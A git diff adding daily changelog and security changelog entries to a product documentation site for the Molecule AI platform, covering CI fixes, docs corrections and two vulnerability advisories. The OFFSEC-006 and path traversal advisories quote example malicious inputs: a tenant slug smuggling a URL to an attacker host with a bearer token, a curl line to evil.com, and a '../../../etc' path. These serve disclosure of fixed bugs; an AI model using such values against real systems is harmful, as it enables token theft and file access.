diff --git a/content/docs/changelog.mdx b/content/docs/changelog.mdx index 0717703..f7c9864 100644 --- a/content/docs/changelog.mdx +++ b/content/docs/changelog.mdx @@ -8,6 +8,59 @@ Entries are published daily at 23:50 UTC. --- +## 2026-05-15 + +No customer-visible changes. All activity was internal infrastructure and SOP tooling. + +### ๐Ÿงน Internal + +- **Docs queue maintenance**: self-hosted Docker deployment guide, workspace ability flags (`broadcast_enabled` / `talk_to_user_enabled`) API reference, MCP server broadcast tool, CWE-78 `expandWithEnv` regression fix, OFFSEC-006 advisory, and OFFSEC-003 boundary-escaping fix all prepared in open pull requests โ€” pending CI clearance and merge. (`docs` [#40](https://git.moleculesai.app/molecule-ai/docs/pulls/40)โ€“[#49](https://git.moleculesai.app/molecule-ai/docs/pulls/49)) + +--- + +## 2026-05-14 + +### ๐Ÿ”’ Security + +- **OFFSEC-006: tenant slug SSRF + token exfiltration in `promote-tenant-image.sh` fixed**: tenant slugs were interpolated into URL paths (`cp_redeploy_tenant`, `tenant_buildinfo`, `tenant_health`, `resolve_tenant_instance_id`) and ECR identifiers without sanitisation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could trigger SSRF or exfiltrate the platform bearer token via URL parameter injection. The fix adds RFC-1123 slug validation (`validate_slug()`) that rejects any slug not matching `^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$` before any network call is issued, and uses `set -f` to disable glob expansion of metacharacters (`*`, `?`, `[`) in slug values. (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933)) + +### ๐Ÿ”ง Fixes + +- **Canvas accessibility round 3**: WCAG AA contrast fixes, focus-visible rings, and ARIA attribute corrections applied across `ConversationTraceModal`, `ErrorBoundary`, `ExternalConnectModal`, `MissingKeysModal`, `ProviderModelSelector`, `ConversationTraceModal`, `ActivityTab`, `ScheduleTab`, and `SkillsTab`. (`molecule-core` [#936](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/936), [#949](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/949)) + +### ๐Ÿงน Internal + +- **CI/CD hardening** (`molecule-core`): publish workflow Docker healthcheck made pipefail-safe (`#952`); `sop-checklist-gate` renamed to `sop-checklist` (`#951`); `continue-on-error` flipped from `true` to `false` on platform-build CI (`#935`); `canvas-deploy-reminder` removed from all-required checks (`#938`); `GITHUB_EVENT_BEFORE` fallback corrected in handlers-postgres-integration detect-changes step (`#937`); publish deploy images on every main push enabled (`#939`); SOP tier-check BURN-IN comment updated to reference `internal#343` (`#934`). +- **Test coverage additions** (`molecule-core`): OFFSEC-003 test assertions corrected for ZWSP-escaped values (`#946`); `executeDelegation` integration test calls updated for staging (`#945`); unit tests added for `walkOrgWorkspaceNames` and `resolveParentOrgID` in org handlers (`#941`). +- **`_sanitize_a2a.py` aliases added**: `_A2A_BOUNDARY_START` and `_A2A_BOUNDARY_END` added as convenience aliases for the canonical trust-boundary markers, matching test expectations (`#934`). + +--- + +## 2026-05-13 + +### โœจ New features + +- **Docker HEALTHCHECK for workspace containers**: the workspace `Dockerfile` now includes a `HEALTHCHECK --interval=30s --timeout=5s --retries=3` directive that probes `http://localhost:${PORT:-8000}/agent/card`. Self-hosted operators running the workspace container under Docker or Kubernetes can now use native liveness/readiness probes โ€” the container is marked healthy only when the A2A agent card endpoint responds. (`molecule-core` [#883](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/883)) + +### ๐Ÿ“š Documentation + +- **Security section expanded**: the [Security hub](/docs/security) now includes a link to the [OWASP Agentic Top 10](/docs/security/owasp-agentic-top-10) risk framework and the [Security Changelog](/docs/security/changelog) alongside the existing SAFE-MCP advisory. A severity level table (CRITICAL / HIGH / MEDIUM / LOW) calibrates response timelines for each finding. (`docs` [#35](https://git.moleculesai.app/molecule-ai/docs/pulls/35)) +- **MCP server env var corrected**: `MOLECULE_URL` is now consistently named `MOLECULE_API_URL` in the [MCP Server documentation](/docs/mcp-server) and all code examples. The old name is no longer referenced on any public surface. (`docs` [#34](https://git.moleculesai.app/molecule-ai/docs/pulls/34)) +- **Remote workspaces documentation updated with graceful shutdown**: the [Remote Workspaces page](/docs/remote-workspaces) now documents the `stop_event: threading.Event` parameter for `run_heartbeat_loop()` and `run_agent_loop()`, enabling proper SIGTERM graceful shutdown in Kubernetes, Docker, and other container-orchestrated environments. The `PLATFORM_URL` default has also been corrected to `http://host.docker.internal:8080` for containerized development. (`docs` [#29](https://git.moleculesai.app/molecule-ai/docs/pulls/29)) +- **Workspace runtime `PLATFORM_URL` defaults corrected**: `PLATFORM_URL` now consistently defaults to `http://host.docker.internal:8080` across all workspace runtime modules (`a2a_cli.py`, `a2a_client.py`, `a2a_mcp_server.py`, and 10 others). Previously some modules defaulted to `http://platform:8080`, causing connection failures in containerized deployments where the Docker host is not named `platform`. (`docs` [#32](https://git.moleculesai.app/molecule-ai/docs/pulls/32)) +- **Dev channel setup documentation clarified**: setting a dev channel using the channel name alone (e.g. `claude-code`) now produces a clear error directing users to the tagged form (`claude-code:latest`). The tagged form is required because dev channels track rolling tags (`latest`, `nightly`) rather than semantic versions. (`docs` [#30](https://git.moleculesai.app/molecule-ai/docs/pulls/30)) +- **MCP server tool registry table corrected**: the [MCP Server](/docs/mcp-server) documentation now lists all 87 tools across 12 categories. A prior version listed only 29 tools, with several tools assigned to incorrect categories. (`molecule-mcp-server` [#5](https://git.moleculesai.app/molecule-ai/molecule-mcp-server/pulls/5)) +- **CWE-22 path traversal regression in org template import documented**: the [Security Changelog](/docs/security/changelog) records a regression in `org_import.go` where `createWorkspaceTree`'s path-traversal guard was removed, allowing a malicious org YAML with `filesDir: "../../../etc"` to read arbitrary server files. The fix replaces unprotected `parseEnvFile` calls with `loadWorkspaceEnv` which applies `resolveInsideRoot` validation before accessing any path. (`docs` [#31](https://git.moleculesai.app/molecule-ai/docs/pulls/31), `molecule-core` [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/810)) +- **EC2 Instance Connect staging IAM permission documented**: the [EC2 provisioner tutorial](/docs/tutorials/aws-ec2-provisioner) and internal observability runbook now document the `ssm:SendCommand` permission required on the EC2 Instance Connect IAM role for staging tenant Vector installation via SSM. (`docs` [#33](https://git.moleculesai.app/molecule-ai/docs/pulls/33)) + +### ๐Ÿงน Internal + +- **Internal platform hardening** (`molecule-core`): Go handler checks restored to main (`#871`); main test blockers repaired (`#900`); rows.Err() checks added after all database scan loops (`#882`, `#865`); bundle import test builds restored (`#861`, `#850`); TermsGate dialog structure + WCAG button accessibility improved (`#854`); WCAG AA contrast corrected for amber buttons (`#859`); EventsTab and ScheduleTab test coverage added (`#869`); delivery mode and workspace status test coverage added (`#868`); ExternalConnectModal test coverage added โ€” 31 cases (`#847`); 14 pure-function cases added to `org_helpers_pure_test.go` (`#840`); `pgplugin` store dual-fields test fixed with `regexp.QuoteMeta` (`#857`); workflow status emitters annotated (`#877`); gate-check infra-sre Gitea login mapped to `core-devops` agent (`#896`); CI lint-workflow-yaml Rules 7/8/9 resolved on redeploy-tenants-on-main (`#903`); CI retry logic added to status reaper for API timeouts (`#890`); CI main-gate skip logic for non-default-base PRs added (`#892`); workspace Dockerfile test compile drift repaired (`#884`); staging synced from main (`#876`). +- **CI tooling migration** (`molecule-core`, `molecule-sdk-python`): `.github/workflows/` renamed to `.gitea/workflows/` post GitHub suspension sweep (`molecule-sdk-python` [#9](https://git.moleculesai.app/molecule-ai/molecule-sdk-python/pulls/9), molecule-core multiple PRs); SOP checklist gate added to docs CI (`.gitea/scripts/sop-checklist-gate.py`) to auto-warn when a public-surface PR is missing a changelog entry (`docs` [#27](https://git.moleculesai.app/molecule-ai/docs/pulls/27)); duplicate changelog entries added to the 2026-05-10 section by a prior automated backfill removed; chronological order restored (`docs` [#28](https://git.moleculesai.app/molecule-ai/docs/pulls/28)). +- **SaaS platform stability** (`molecule-core`): `ADMIN_TOKEN` placeholder in `global_secrets` now healed at platform server startup โ€” SaaS tenants provisioned with a placeholder token now receive the real token automatically without requiring re-provision (`#893`, `#898`); `ADMIN_TOKEN` injected into workspace container env vars for admin-gated endpoint access (`#885`). + +--- + ## 2026-05-12 ### ๐Ÿ”’ Security diff --git a/content/docs/security/changelog.md b/content/docs/security/changelog.md index e3d6990..af3c0b9 100644 --- a/content/docs/security/changelog.md +++ b/content/docs/security/changelog.md @@ -9,6 +9,53 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent --- +## 2026-05-14 โ€” OFFSEC-006: Tenant Slug SSRF + Token Exfiltration in `promote-tenant-image.sh` + +**Severity:** High (CWE-918 SSRF + CWE-20 Input Validation) +**PR:** [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pull/933) +**Affected:** `scripts/promote-tenant-image.sh` โ€” tenant slug interpolation into URLs and ECR identifiers + +### Vulnerability + +Tenant slugs were interpolated directly into URL paths (`cp_redeploy_tenant`, `tenant_buildinfo`, `tenant_health`, `resolve_tenant_instance_id`) and ECR repository identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could be passed to `promote-tenant-image.sh`, causing: +1. **SSRF** โ€” the slug injected as a URL authority or path segment, redirecting the platform's HTTP call to an attacker-controlled host. +2. **Token exfiltration** โ€” `curl ?url=https://evil.com&token=$CP_TOKEN` causes the platform's bearer token to appear in the attacker-controlled server's access logs. + +Additionally, bash glob metacharacters (`*`, `?`, `[`) in slug values were subject to pathname expansion, allowing a slug like `evil?url=https://attacker.com` to expand to a list of filenames before being passed to curl. + +### Fix + +Two-layer defence: + +1. **`set -f`** (line 57): disables glob expansion before any slug is used, so `*`, `?`, and `[` are treated as literal characters. +2. **`validate_slug()`** (new function): RFC-1123 regex validation (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) rejects any slug that does not match the tenant naming standard before any network call is issued. Invalid slugs exit with code 64. + +### User-facing summary + +Tenant promotion scripts now validate all tenant slug values against RFC-1123 before making any HTTP call or referencing the slug in an ECR identifier. Malformed slugs are rejected immediately with a descriptive error. + +--- + +## 2026-05-13 โ€” CWE-22: Path Traversal Regression in `org_import.go` + +**Severity:** High (CWE-22) +**PR:** [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pull/810) +**Affected:** `org_import.go` โ€” `createWorkspaceTree` + +### Vulnerability + +A regression removed the `resolveInsideRoot` path-traversal guard from `createWorkspaceTree`. A malicious org YAML with `filesDir: "../../../etc"` could read arbitrary server files through the org template import path. + +### Fix + +Replaced unprotected `parseEnvFile` calls with `loadWorkspaceEnv` which applies `resolveInsideRoot` validation before accessing any path. + +### User-facing summary + +Org template imports now correctly validate all file paths before accessing them. Attempts to traverse outside the workspace root are rejected. + +--- + ## 2026-04-20 โ€” CWE-22: Path Traversal in `copyFilesToContainer` **Severity:** High (CWE-22)